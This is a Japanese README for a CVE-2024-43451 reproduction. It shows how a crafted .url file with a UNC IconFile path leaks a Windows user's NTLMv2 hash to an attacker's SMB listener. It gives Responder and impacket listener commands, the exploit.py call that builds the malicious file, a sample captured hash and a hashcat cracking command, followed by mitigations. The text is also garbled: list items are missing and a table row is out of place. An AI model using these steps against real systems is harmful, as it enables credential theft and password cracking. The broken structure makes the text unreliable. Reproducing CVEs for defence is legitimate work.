
CVE再現: cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 は、Windows における NTLMv2 ハッシュ漏えいのスプーフィング脆弱性です。認証されていないリモートの攻撃者が、被害者に悪意のある .url ショートカットファイルとのやり取りを誘導することで、被害者の NTLM ハッシュを漏えいさせることができます。この脆弱性は、ごく最小限のユーザー操作(ファイルを右クリックする、削除する、移動するだけ)でトリガーされ、ハッシュが漏えいします。CVSS スコアは 6.5(Medium)で、すでに実環境で悪用されています。CISA はこれを Known Exploited Vulnerabilities(KEV)カタログに追加しました。
NTLM(NT LAN Manager)は、Windows が使用するチャレンジレスポンス認証プロトコルです。クライアントが SMB 経由でリソースにアクセスしようとすると、クライアントとサーバーは次のハンドシェイクを実行します。
NEGOTIATE_MESSAGE を送信します。CHALLENGE_MESSAGE で応答します。AUTHENTICATE_MESSAGE で応答します。これは、チャレンジとユーザーのパスワードハッシュ、ユーザー名、ドメインを組み合わせた HMAC-MD5 です。攻撃者が、自身が制御するマシンへの NTLM 認証試行を監視またはトリガーできれば、キャプチャした AUTHENTICATE_MESSAGE をオフラインでクラックして平文パスワードを復元できます。
.url ファイルは、Internet Explorer と Windows Explorer がリンクを保存するために使用するショートカットファイルです。これは [InternetShortcut] セクションを持つ INI 形式のファイルです。悪用に重要なフィールドは次のとおりです。
URL= — Windows が開くターゲット URL。IconFile= — アイコンリソースへのオプションの UNC パス。Windows Explorer がファイルをレンダリングすると、リモート共有からアイコンを自動的に取得しようとし、攻撃者のサーバーへの NTLM 認証試行がトリガーされます。攻撃者は、IconFile パラメータが \\attacker-ip\share\icon.ico を指す .url ファイルを作成します。被害者が次の操作を行うと:
Windows Explorer は UNC パスからアイコンを読み込もうとし、被害者の NTLMv2 ハッシュを攻撃者の SMB リスナー(Responder など)に送信します。
2024 年 11 月の Patch Tuesday 更新プログラムより前の、サポートされているすべての Windows バージョン:
| ツール | 説明 |
|---|---|
| Responder | ハッシュキャプチャ用の組み込み SMB サーバーを備えた LLMNR/NBT-NS/mDNS ポイズナー |
| Impacket | smbserver.py を使用して単純な SMB 共有をホストできます |
Responder を使用する場合:
sudo responder -I eth0 -v
または Impacket を使用する場合:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
次のいずれかの操作でハッシュ漏えいがトリガーされます:
攻撃者の SMB リスナーが NTLMv2 ハッシュを受信します:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# このリポジトリの exploit.py に完全な PoC 実装があります。
# このスクリプトは、IconFile が次のように設定された .url ファイルを生成します:
# \\192.168.1.100\share\icon.ico
# また、必要に応じて IconIndex によるカスタム表示アイコンも設定します。
| Inveigh | Windows 向けの PowerShell ベースの NTLM キャプチャツール |
| 緩和策 | 説明 |
|---|
| 2024 年 11 月のパッチを適用する | KB5044285 から Microsoft のセキュリティ更新プログラムをインストールする |
| 送信 SMB(ポート 445)をブロックする | NTLM ハッシュがネットワーク境界の外に漏れるのを防ぐ |
| 可能な場合は NTLM を無効にする | Kerberos のみの認証を使用する |
| SMB 署名を有効にする | ハッシュがキャプチャされた場合でもリレー攻撃を防ぐ |
| ユーザーへのセキュリティ意識向上トレーニング | 予期しない .url ファイルを操作しないようユーザーに教育する |
| .url ファイルの処理を制限する | グループポリシーを使用して、.url ファイルの実行や電子メール経由の配信をブロックする |